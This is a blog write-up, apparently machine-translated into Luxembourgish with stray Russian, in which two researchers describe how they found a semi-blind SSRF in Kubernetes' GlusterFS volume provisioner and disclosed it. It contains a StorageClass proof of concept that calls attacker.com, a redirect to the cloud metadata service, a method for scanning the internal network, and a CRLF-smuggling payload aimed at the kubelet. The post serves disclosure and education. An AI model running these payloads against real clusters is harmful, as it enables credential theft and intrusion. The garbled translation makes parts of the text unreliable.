Note. iwwersat.: d'Auteuren vun dësem Artikel schwÀtzen am Detail iwwer wéi se et fÀerdeg bruecht hunn d'Schwachheet z'entdecken zu Kubernetes. Och wann et am Ufank net ganz geféierlech ausgesinn huet, a Kombinatioun mat anere Faktoren huet seng Kritizitéit fir e puer Cloud Ubidder maximal erausgestallt. Verschidde Organisatiounen hunn d'Spezialisten generéis belount fir hir Aarbecht.

Wien si mir
Mir sinn zwee franséisch Sécherheetsfuerscher, déi zesummen eng Schwachstelle zu Kubernetes entdeckt hunn. Eis Nimm sinn Brice Augras a Christophe Hauquiert, awer op ville Bug Bounty Plattforme si mir bekannt als Reeverzax respektiv Hach:
- - ;
- - Kubernetes Architekt bei Nokia.
Wat ass geschitt?
Dësen Artikel ass eise Wee fir ze deelen wéi en normale Fuerschungsprojet onerwaart an déi spannendst Aventure am Liewen vu KÀferjeeger verwandelt huet (op d'mannst fir de Moment).
Wéi Dir wahrscheinlech wësst, hunn KÀferjager e puer Notabele Featuren:
- si liewen op Pizza a Béier;
- si schaffen wann all déi aner schlofen.
Mir si keng Ausnahm zu dëse Reegelen: mir treffen eis normalerweis um Weekend a verbréngen schloflos Nuechten Hacking. Awer eng vun dësen Nuechten ass op eng ganz ongewéinlech Manéier opgehalen.
Am Ufank wollte mir eis treffen fir d'Participatioun un ze diskutéieren den nÀchsten Dag. WÀrend engem Gespréich iwwer Kubernetes Sécherheet an engem verwalteten Serviceëmfeld hu mir eis un déi al Iddi vum SSRF () an huet decidéiert et als Attackskript ze benotzen.
Um 11hXNUMX hu mir eis gesat fir eis Recherchen ze maachen an si moies fréi an d'Bett gaang, ganz zefridden mat de Resultater. Et war wéinst dëser Fuerschung datt mir de MSRC Bug Bounty Programm begéint hunn a mat engem Privileg Eskalatiounsexploit erauskomm sinn.
E puer Wochen/Méint si vergaangen, an eist onerwaart Resultat huet zu enger vun den héchste Belounungen an der Geschicht vun der Azure Cloud Bug Bounty gefouert - zousÀtzlech zu deem, dee mir vu Kubernetes kritt hunn!
Baséierend op eisem Fuerschungsprojet huet de Kubernetes Product Security Committee publizéiert .
Elo wéilt ech Informatioun iwwer déi fonnt Schwachstelle sou vill wéi méiglech verbreeden. Mir hoffen Dir schÀtzt d'Find an deelt déi technesch Detailer mat anere Membere vun der Infosec Gemeinschaft!
Also hei ass eis Geschicht ...
Kontext
Fir am meeschte SĂ«nn ze maachen wat geschitt ass, loosst eis als Ă©ischt kucken wĂ©i Kubernetes an engem Cloud gerĂ©iert Ămfeld funktionnĂ©iert.
Wann Dir e Kubernetes Cluster an esou engem Ămfeld instantiĂ©iert, ass d'Gestiounsschicht typesch d'Verantwortung vum Cloud Provider:

D'Kontrollschicht ass um Perimeter vum Cloud Provider, wÀhrend d'Kubernetes Noden um Perimeter vum Client sinn.
Fir dynamesch BÀnn ze verdeelen, gëtt e Mechanismus benotzt fir se dynamesch vun engem externe SpÀicherbackend ze versuergen an ze verglÀichen mat PVC (persistent Volumenfuerderung, dh eng Ufro fir e Volumen).
Also, nodeems de PVC erstallt ass a mat der StorageClass am K8s Cluster gebonnen ass, ginn weider Aktiounen fir de Volume ze bidden vum Kube / Cloud Controller Manager iwwerholl (sĂ€i genee Numm hĂ€nkt vun der VerĂ«ffentlechung of). (Note. iwwersat.: Mir hu scho mĂ©i iwwer CCM geschriwwen mat dem Beispill vu senger Ămsetzung fir ee vun de Cloud Provider .)
Et gi verschidden Aarte vu Provisorer ënnerstëtzt vu Kubernetes: déi meescht vun hinnen sinn abegraff , wÀhrend anerer vun zousÀtzleche Provisorer geréiert ginn, déi an Pods am Cluster gesat ginn.
An eiser Fuerschung hu mir eis op den internen Volumenversuergungsmechanismus konzentréiert, deen hei ënnen illustréiert ass:

Dynamesch Versuergung vu Volumen mat dem agebaute Kubernetes Provider
Kuerz gesot, wann Kubernetes an engem verwalteten Ămfeld ofgesat ass, ass de Controller Manager d'Verantwortung vum Cloud Provider, awer d'Volumencreatiounsufro (Nummer 3 am Diagramm uewendriwwer) verlĂ©isst den internen Netzwierk vum Cloud Provider. An dat ass wou d'Saache wierklech interessant ginn!
Hacking Szenario
An dëser Sektioun wÀerte mir erklÀre wéi mir vum uewe genannte Workflow profitéiert hunn an op déi intern Ressourcen vum Cloud Service Provider zougrÀifen. Et wÀert Iech och weisen wéi Dir verschidden Aktiounen ausféiere kënnt, sou wéi intern Umeldungsinformatiounen ze kréien oder Privilegien eskaléieren.
Eng einfach Manipulatioun (an dësem Fall, Service Side Request Forgery) huet gehollef iwwer d'Clientëmfeld a Cluster vu verschiddene Serviceprovider ënner geréiert K8s ze goen.
An eiser Fuerschung hu mir eis op de GlusterFS Provider konzentréiert. Trotz der Tatsaach, datt déi weider Sequenz vun Aktiounen an dësem Kontext beschriwwe gëtt, sinn Quobyte, StorageOS a ScaleIO ufÀlleg fir déiselwecht Schwachstelle.

Mëssbrauch vum dynamesche Volumenbestëmmungsmechanismus
WĂ€hrend Stockage Klass Analyse GlusterFS am Golang Client Quellcode mir datt op der Ă©ischter HTTP Ufro (3) wĂ€hrend Volume Kreatioun geschĂ©ckt, bis Enn vun der BenotzerdefinĂ©iert URL am Parameter resturl bĂ€igefĂŒĂŒgt /volumes.
Mir hu beschloss, vun dĂ«sem zousĂ€tzleche Wee lass ze ginn, andeems mer dobĂ€i ginn # am Parameter resturl. Hei ass dĂ©i Ă©ischt YAML Konfiguratioun dĂ©i mir benotzt hunn fir eng semi-blannen SSRF Schwachstelle ze testen (Dir kĂ«nnt mĂ©i iwwer hallefblann oder hallefblann SSRF liesen, zum Beispill, â ca. Iwwersetzung):
apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
name: poc-ssrf
provisioner: kubernetes.io/glusterfs
parameters:
resturl: "http://attacker.com:6666/#"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
name: poc-ssrf
spec:
accessModes:
- ReadWriteOnce
volumeMode: Filesystem
resources:
requests:
storage: 8Gi
storageClassName: poc-ssrfDuerno hu mir de BinÀr benotzt fir de Kubernetes Cluster op afstand ze managen kubectl. Typesch, Cloud Provider (Azure, Google, AWS, etc.) erlaben Iech Umeldungsinformatioune fir benotzen an dësem Utility ze kréien.
Dank dësem konnt ech meng "speziell" Datei benotzen. Kube-controller-manager huet déi resultéierend HTTP-Ufro ausgefouert:
kubectl create -f sc-poc.yaml 
D'Ăntwert aus der Siicht vum UgrĂ€ifer
Kuerz duerno konnte mir och eng HTTP-Ăntwert vum Zilserver krĂ©ien - iwwer d'Kommandoen describe pvc oder get events an kubectl. An tatsĂ€chlech: dĂ«se Standard Kubernetes Chauffer ass ze verbose a sengen Warnungen / Fehlermeldungen ...
Hei ass e Beispill mat engem Link op https://www.google.frals Parameter setzen resturl:
kubectl describe pvc poc-ssrf
# ОлО жД ĐŒĐŸĐ¶Đ”ŃĐ” ĐČĐŸŃĐżĐŸĐ»ŃĐ·ĐŸĐČаŃŃŃŃ kubectl get events 
An dĂ«ser Approche ware mir limitĂ©iert op Ufroe wĂ©i HTTP POST a konnt net den Inhalt vun der Ăntwert Kierper krĂ©ien wann de Retour Code war 201. Dofir hu mir beschloss fir zousĂ€tzlech Fuerschung ze maachen an dĂ«sen Hacking-Szenario mat neien Approchen auszebauen.
D'Evolutioun vun eiser Fuerschung
- Fortgeschratt Szenario #1: Mat engem 302 Viruleedung vun engem externen Server fir d'HTTP Method z'Ànneren fir e méi flexibele Wee ze bidden fir intern Daten ze sammelen.
- Fortgeschratt Szenario #2: Automatiséieren LAN Scannen an intern Ressource Entdeckung.
- Fortgeschratt Szenario # 3: benotzt HTTP CRLF + Schmuggling ("Ufro Schmuggling") fir ugepasste HTTP-Ufroen ze kreéieren an Daten aus Kube-Controller-Logbicher extrahéiert ze kréien.
Technesch Spezifikatioune
- D'Fuerschung benotzt Azure Kubernetes Service (AKS) mat Kubernetes Versioun 1.12 an der Nordeuropa Regioun.
- Déi uewe beschriwwe Szenarien goufen op déi lescht Verëffentlechunge vu Kubernetes ausgefouert, mat Ausnam vum drëtten Szenario, well hie brauch Kubernetes gebaut mat Golang Versioun †1.12.
- Den externen Server vum Attacker -
https://attacker.com.
Fortgeschratt Szenario #1: Viruleedung vun enger HTTP POST Ufro fir GET a sensibel Donnéeën ze kréien
Déi ursprénglech Method gouf verbessert duerch d'Konfiguratioun vum Server vum UgrÀifer fir zréckzekommen 302 HTTP Retcodefir eng POST Ufro an eng GET Ufro ze konvertéieren (Schrëtt 4 am Diagramm):

Ăischt Ufro (3) kĂ«nnt vum Client GlusterFS (Controller Manager), huet e POST Typ. Duerch dĂ«s SchrĂ«tt ze verfollegen konnte mir et an e GET Ă«msetzen:
- Als Parameter
resturlam StorageClass gëtt et uginnhttp://attacker.com/redirect.php. - Endpunkt
https://attacker.com/redirect.phpreagéiert mat engem 302 HTTP Statuscode mat de folgende Location Header:http://169.254.169.254. Dëst kann all aner intern Ressource sinn - an dësem Fall gëtt de Viruleedungslink nëmmen als Beispill benotzt. - Par défaut net/http Bibliothéik Golang redirectéiert d'Ufro an konvertéiert de POST an e GET mat engem 302 Statuscode, wat zu enger HTTP GET Ufro un d'Zilressource resultéiert.
Fir den HTTP Ăntwert Kierper ze liesen musst Dir maachen describe PVC Objet:
kubectl describe pvc xxxHei ass e Beispill vun enger HTTP Ăntwert am JSON Format dĂ©i mir konnten krĂ©ien:

D'Kapazitéite vun der fonnter Schwachstelle zu dÀr ZÀit ware limitéiert wéinst de folgende Punkten:
- Onméiglechkeet HTTP Header an erausginn Ufro anzeginn.
- Onméiglechkeet eng POST Ufro mat Parameteren am Kierper auszeféieren (dëst ass bequem fir de SchlësselwÀert vun enger etcd Instanz ze froen 2379 port wann onverschlësselte HTTP benotzt gëtt).
- OnmĂ©iglechkeet Ăntwert Kierper Inhalt ze recuperĂ©ieren wann de Status Code war 200 an d'Ăntwert huet keen JSON Inhalt-Typ.
Fortgeschratt Szenario #2: Scannen vum lokalen Netzwierk
DĂ«s hallefblannen SSRF-Methode gouf dunn benotzt fir den internen Netzwierk vum Cloud Provider ze scannen a verschidde Nolauschterservicer ze pollen (Metadaten Instanz, Kubelet, etcd, etc.) basĂ©iert op den Ăntwerten kube Controller.

Als éischt goufen d'Standard Nolauschterporte vu Kubernetes Komponenten bestëmmt (8443, 10250, 10251, etc.), an dann hu mir de Scannerprozess automatiséiert.
Gesinn datt dës Method fir Ressourcen ze scannen ganz spezifesch ass an net kompatibel ass mat klassesche Scanner an SSRF Tools, hu mir beschloss eis eegen Aarbechter an engem Bash Skript ze kreéieren deen de ganze Prozess automatiséiert.
Zum Beispill, fir sĂ©ier d'Gamme 172.16.0.0/12 vum internen Netzwierk ze scannen, goufen 15 Aarbechter parallel lancĂ©iert. DĂ©i uewe genannte IP-Gamme gouf nĂ«mmen als Beispill ausgewielt a kann Ă«nnerleien fir Ăert spezifescht DĂ©ngschtleeschter hir IP-Gamme ze Ă€nneren.
Fir eng IP Adress an een Hafen ze scannen, musst Dir déi folgend maachen:
- lÀschen déi lescht iwwerpréift StorageClass;
- ewechzehuelen déi virdrun verifizéiert Persistent Volume Claim;
- Ànneren d'IP a Port WÀerter an
sc.yaml; - eng StorageClass mat engem neien IP an port erstellen;
- schafen eng nei PVC;
- Extrait Scan Resultater mat Beschreiwen fir PVC.
Fortgeschratt Szenario #3: CRLF Injektioun + Schmuggel HTTP an "al" Versioune vum Kubernetes Cluster
Wann zousÀtzlech zu dësem de Provider Clienten al Versioune vun der K8s StÀrekoup offréiert О huet hinnen Zougang zu de Logbicher vum Kube-Controller-Manager, den Effekt gouf nach méi bedeitend.
Et ass wierklech vill mĂ©i praktesch fir en UgrĂ€ifer HTTP-Ufroen z'Ă€nneren entworf fir eng voll HTTP-Ăntwert no sengem Diskretioun ze krĂ©ien.

Fir de leschte Szenario ëmzesetzen, hu folgend Bedéngungen erfëllt:
- De Benotzer muss Zougang zu Kube-Controller-Manager Logbicher hunn (wéi zum Beispill an Azure LogInsights).
- De Kubernetes StÀrekoup muss eng Versioun vu Golang manner wéi 1.12 benotzen.
Mir hunn e lokalt Ămfeld ofgesat, deen d'Kommunikatioun tĂ«scht dem GlusterFS Go Client an engem gefĂ€lschte Zilserver simulĂ©iert huet (mir wĂ€erte fir de Moment de PoC net verĂ«ffentlechen).
Gouf fonnt , beaflosst Golang Versioune manner wéi 1.12 an erlaabt Hacker HTTP-Schmuggel-/CRLF-Attacke auszeféieren.
Duerch d'Kombinatioun vun der hallefblannen SSRF uewen beschriwwen ĐČĐŒĐ”ŃŃĐ” mat dĂ«ser, mir konnten Ufroen un eis GoĂ»t schĂ©cken, dorĂ«nner Ersetzen Header, HTTP Method, Parameteren an DonnĂ©eĂ«n, dĂ©i Kube-Controller-Manager dann veraarbecht.
Hei ass e Beispill vun engem funktionnéierende "Köder" an engem Parameter resturl StorageClass, deen en Àhnlechen Attackszenario implementéiert:
http://172.31.X.1:10255/healthz? HTTP/1.1rnConnection: keep-
alivernHost: 172.31.X.1:10255rnContent-Length: 1rnrn1rnGET /pods? HTTP/1.1rnHost: 172.31.X.1:10255rnrnD'Resultat ass e Feeler onerwĂ«nscht Ăntwert, e Message iwwer deen an de Controller Logbicher opgeholl gĂ«tt. Dank der VerbositĂ©it, dĂ©i als Standard aktivĂ©iert ass, gĂ«tt den Inhalt vun der HTTP Ăntwert Message och do gespĂ€ichert.
![]()
Dëst war eisen effektivsten "Köder" am Kader vum proof of concept.
Mat dëser Approche konnte mir e puer vun de folgenden Attacken op Cluster vu verschiddene verwalteten k8s Ubidder ausféieren: Privileg Eskalatioun mat Umeldungsinformatiounen op Metadaten Instanzen, Master DoS iwwer (net verschlësselte) HTTP Ufroen op etcd Master Instanzen, etc.
Folgen
An der Kubernetes offizieller Ausso iwwer d'SSRF Schwachstelle déi mir entdeckt hunn, gouf et bewÀert CVSS 6.3/10: CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N. Wa mir nëmmen d'Schwachstelle betruechten, déi mam Kubernetes Perimeter assoziéiert ass, den Integritéitsvektor (Integritéit Vektor) et qualifizéiert als nÀischt.
Wéi och ëmmer, d'BewÀertung vun de méigleche Konsequenzen am Kontext vun engem verwalteten Serviceëmfeld (an dat war den interessantsten Deel vun eiser Fuerschung!) huet eis opgefuerdert d'Schwachheet an eng BewÀertung ëmzeklasséieren Kritescher CVSS10/10 fir vill Distributeuren.
Drënner ass zousÀtzlech Informatioun fir Iech ze hëllefen eis Considératiounen ze verstoen wann Dir déi potenziell Auswierkunge a Wollekenëmfeld beurteelt:
Integritéit
- Befehle op afstand ausféieren andeems Dir intern Umeldungsinformatiounen kaaft hutt.
- Reproduzéieren vum uewe genannte Szenario mat der IDOR (Insecure Direct Object Reference) Method mat anere Ressourcen déi am lokalen Netzwierk fonnt ginn.
Vertraulechkeet
- Attack Typ merci fir Vol vun Cloud Umeldungsinformatioune (Zum Beispill, Metadaten API).
- Informatioun sammelen andeems Dir de lokalen Netzwierk Scannen (Bestëmmung vun der SSH Versioun, HTTP Server Versioun, ...).
- Sammelt Instanz- an Infrastrukturinformatioun andeems Dir intern APIen wéi d'Metadaten API (
http://169.254.169.254, ...). - Klauen Client Daten mat Cloud Umeldungsinformatiounen.
Disponibilitéit
All exploit Szenarie Zesummenhang mat Attack Vecteure op IntegritĂ©it, kann fir zerstĂ©ierend Aktiounen benotzt ginn a fĂ©ieren zu Meeschterinstanzen aus dem Clientperimeter (oder all aner) net verfĂŒgbar.
Well mir an engem verwalteten K8s Ămfeld waren an den Impakt op d'IntegritĂ©it bewĂ€erten, kĂ«nne mir vill Szenarie virstellen, dĂ©i d'DisponibilitĂ©it beaflosse kĂ«nnen. ZousĂ€tzlech Beispiller enthalen d'Korruptioun vun der etcd Datebank oder e kriteschen Uruff un d'Kubernetes API.
Timeline
- Dezember 6, 2019: Schwachstelle bei MSRC Bug Bounty gemellt.
- 3. Januar 2020: Eng Drëtt Partei huet Kubernetes Entwéckler informéiert datt mir un engem Sécherheetsprobleem schaffen. A gefrot hinnen SSRF als intern (in-core) Schwachstelle ze betruechten. Mir hunn dunn en allgemenge Bericht mat techneschen Detailer iwwer d'Quell vum Problem geliwwert.
- Januar 15, 2020: Mir hunn technesch an allgemeng Berichter un Kubernetes Entwéckler op hir Ufro geliwwert (iwwer d'HackerOne Plattform).
- 15. Januar 2020: Kubernetes Entwéckler hunn eis matgedeelt datt hallefblannen SSRF + CRLF Injektioun fir vergaange Verëffentlechungen als eng In-Core Schwachstelle ugesi gëtt. Mir hunn direkt opgehalen d'Perimeter vun aneren Déngschtleeschter ze analyséieren: d'K8s-Team huet sech elo mat der Grondursaach beschÀftegt.
- 15. Januar 2020: MSRC Belounung kritt duerch HackerOne.
- 16. Januar 2020: Kubernetes PSC (Produktsécherheetskomitee) huet d'Schwachheet unerkannt a gefrot et bis Mëtt MÀerz geheim ze halen wéinst der grousser Zuel vu potenziellen Affer.
- 11. Februar 2020: Google VRP Belounung kritt.
- 4. MĂ€erz 2020: Kubernetes Belounung kritt duerch HackerOne.
- 15. MÀerz 2020: Ursprénglech geplangte ëffentlech Verëffentlechung ausgestallt wéinst der COVID-19 Situatioun.
- Juni 1: Kubernetes + Microsoft gemeinsame ErklÀrung iwwer d'Schwachheet.
TL; DR
- Mir drénken Béier an iessen Pizza :)
- Mir hunn eng In-Core Schwachstelle am Kubernetes entdeckt, obwuel mir keng Absicht haten dat ze maachen.
- Mir hunn zousÀtzlech Analyse op Cluster vu verschiddene Cloud Ubidder gemaach a konnten de Schued erhéijen, deen duerch d'Schwachheet verursaacht gëtt fir zousÀtzlech fantastesch Bonusen ze kréien.
- Dir fannt vill technesch Detailer an dësem Artikel. Mir géife frou se mat Iech ze diskutéieren (Twitter: & ).
- Et huet sech erausgestallt, datt all Zorte vu Formalitéiten a Berichterstattung vill méi laang gedauert huet wéi erwaart.
Referenze
- ;
- ;
- ;
- .
PS vum Iwwersetzer
Liest och op eisem Blog:
- «";
- «";
- «".
Source: will.com
